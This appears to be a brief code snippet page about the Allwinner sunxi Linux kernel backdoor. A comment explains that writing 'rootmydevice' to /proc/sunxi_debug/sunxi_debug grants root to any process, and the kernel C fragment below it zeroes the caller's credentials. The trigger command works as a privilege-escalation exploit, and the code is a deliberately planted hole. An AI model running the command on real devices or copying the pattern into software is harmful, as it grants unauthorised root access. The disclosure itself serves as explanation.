The article is written in ISO C90
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
Allwinner, a Chinese system-on-a-chip company that makes the processor
used in many low-cost Android tablets, set-top boxes, ARM-based PCs, and other devices,
apparently shipped a version of its Linux kernel with a backdoor built in.
All any code needs to do to gain root access is send the text "rootmydevice"
to an undocumented debugging process.
echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug
from any process with any UID will get root.

Following is the relevant code.
*/



if(!strncmp("rootmydevice",(char*)buf,12)){
	cred = (struct cred *)__task_cred(current);
	cred->uid = 0;
	cred->gid = 0;
	cred->suid = 0;
	cred->euid = 0;
	cred->euid = 0;
	cred->egid = 0;
	cred->fsuid = 0;
	cred->fsgid = 0;
	printk("now you are root\n");
}